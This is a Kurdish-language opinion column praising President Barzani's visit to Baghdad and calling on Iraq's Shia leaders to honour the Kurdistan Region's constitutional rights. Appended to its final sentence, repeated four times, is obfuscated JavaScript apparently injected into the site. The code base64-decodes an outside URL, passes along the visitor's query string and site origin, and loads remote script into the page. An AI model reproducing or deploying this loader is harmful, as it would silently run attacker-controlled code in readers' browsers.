ده‌ستپێكه‌كا نوو و كوردستانه‌كا بهێز
ئه‌ڤین بارزانی
سه‌ره‌دانا سه‌رۆك بارزانی بۆ به‌غدا د راستی دا ده‌ستپێكا قۆناغه‌كا نوو یه هه‌م بۆ ئیراقێ و هه‌م ژی بۆ هه‌رێما كوردستانێ، هێزێن شیعه یێن ئیراقێ برێڤه دبه‌ن باش دیتن كو بێی رۆلێ كارا یێ هه‌رێما كوردستانێ و بێی رازیبوونا سه‌رۆك بارزانی پرۆسیسا سیاسی ل ئیراقێ یا سه‌ركه‌فتی نابیت، ئه‌زموونا چه‌ندین سالێن بری سه‌لماند كو ئیراق د قه‌یرانه‌كا گه‌له‌ك مه‌زن دایه، سه‌رۆك بارزانی ئێكه ژ سه‌ركردێن هه‌ری كاریگه‌ر كو كار بۆ دامه‌زراندنا ئیراقێ نوو یا كری، سه‌رۆك بارزانی د ئاماده‌كرنا دستوورێ نوو یێ ئیراقێ دا رۆله‌ك كارا هه‌بوو، هه‌رچه‌نده هنده‌ك هێزان وه‌سا هزر دكر هه‌كه بشێن هه‌رێما كوردستانێ لاواز كه‌ن دێ ئه‌و بهێز كه‌ڤن، لێ بۆ وان ژی دیار بوو بێی رازیبوونا هه‌رێما كوردستانێ و ب تایبه‌تی ژی مه‌رجه‌عێ كوردان ئه‌و نه‌شێن ئیراقێ برێڤه ببه‌ن و دێ هه‌ر د قه‌یران و نه‌خوه‌شیان دا بن.
سه‌رۆك بارزانی سه‌ركردایه‌تیا شۆره‌شه‌كا مه‌زن بۆ ئااد كوردان دكه‌ت، د ئاستێ ئیراقێ، رۆژهه‌لاتا ناڤین و جیهانێ دا رێزه‌ك مه‌زن ل جه‌نابی وی دهێته گرتن، ژ به‌ر ڤێ یه‌كێ ژی پێشه‌وازیه‌كا گه‌له‌ك گه‌رم ل سه‌رۆك بارزانی هاته‌كرن، هه‌كه براستی هێزێن شیعه ل به‌غدا بخوازن به‌غدا پایته‌ختێ وه‌لاته‌كێ فیدرالی بیت و هه‌موو كه‌س تێدا هه‌ست ب ئارامیێ بكه‌ن و شانازیێ ب وه‌لاتێ خوه بكه‌ن وی ده‌می دڤێت رێزێ ل هه‌رێما كوردستانێ بگرن، وه‌كو هه‌رێمه‌كا دستووری هه‌موو مافێ وێ بده‌نێ، هه‌تا ئه‌و یه‌ك نه‌هێته كرن به‌غدا ژی ئه‌و به‌غدا نابیت یا كو براستی ببیته پایته‌ختێ وه‌لاته‌كێ كو هه‌مو وهلاتیێنوێ شانازیێ پێ بكه‌ن.
سه‌رۆك بارزانی ب سه‌ره‌دانا خوه یا دیرۆكی جاره‌كا دی ئه‌ڤ په‌یامه دا به‌رپرسێن ئیراقێ كو وه‌كو هه‌رێما كوردستانێ وان دڤێت د چارچۆڤێ دستووری هه‌موو پرسێن ههی چاره‌سه‌ر بكه‌ن، كوردان دڤێت ل ئیراقه‌كا فیدرالی دا بژین كو هه‌موو مافێن وان بهێته گه‌ره‌نتی كرن، كورد زۆلم و زۆرداریێ قه‌بوول ناكه‌ن، نها ته‌پ د مه‌یدانا به‌رپرسێن شیعه دایه، هه‌كه براستی ژی وان بڤێت ره‌وشا ئیراقێ یا باش بیت و پرسێن ههی ژی بهێنه چاره‌سه‌ركرن دێ ئه‌و شانسێ سه‌رۆكی دایه وان مفایێ ژێ وه‌ربگرن و دووماهیێ ب گه‌له‌ك ئاریشا بینن.
د همان ده‌می دا هه‌كه هه‌لوه‌ستێ به‌رپرسێن ئیراقێ وه‌كو چه‌ند سالێن بۆری بیت بێگومان دێ ئاریشێن ههی ژی به‌رده‌وام بن و ره‌نگه زێده‌تر ژی لێ بهێن، بلا هه‌ر كه‌س بزانیت ده‌مێ به‌غدایێ ئاریشه ل گه‌ل هه‌رێما كوردستانێ هه‌بن ئانكۆ به‌غدا ژی یا ئارام نینه، بكارئینانا هنده‌ك كارتان ب تایبه‌تی ژی كارتێ بۆدجه‌ی ل دژی خه‌لكێ هه‌رێما كوردستانێ ژ ئالیێ هنده‌ك به‌رپرسێن ئیراقێ ڤه چو ده‌مه‌كێ سه‌ركه‌فتی نابیت، دیرۆكێ سه‌لماندیه كو كورد زۆرداریێ قه‌بوول ناكه‌ن و هه‌لوه‌ستێ توند یێ به‌رپرسێن ئیراقێ دێ وه‌سا كه‌ت كو ئاریشێن ههی زێده‌تر لێ بهێن و وی ده‌می دێ به‌غدا ژی تووشی گه‌له‌ك ئاریشان بیت.
سه‌رۆك بارزانی وه‌كو مه‌رجه‌عێ گه‌لێ كورد ب سه‌ربلندی و بهێز چوو به‌غدا، په‌یاما ئاشتیێ و پێكڤه‌ژیانێ دا به‌رپرسێن شیعه ل به‌غدا، نیه‌تا چاره‌سه‌ریا هه‌موو ئاریشان گه‌هانده وان، ره‌نگه ئه‌ڤه د گه‌له‌كه بیاڤان دا شانسێ دووماهیێ ژی بیت، چونكی خه‌لكێ هه‌رێما كوردستانێ ژی ئێدی قه‌بوول ناكه‌ن هه‌رده‌م ب هنده‌ك به‌هانه‌یان به‌غدا زۆرداریێ بكه‌ت و مافێن كوردان نه‌ده‌تێ، سه‌رۆك بهێز چوو به‌غدا، ئه‌و یه‌ك نیشا دده‌ت هه‌رێما كوردستانێ هه‌ر یا بهێزه و په‌یامێ سه‌رۆك باران ل به‌غدا هه‌موو نیشانا بهێزیا هه‌رێما كوردستانێ و ب تایبه‌تی ژی پارتی دیموكراتی كوردستان بوون.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
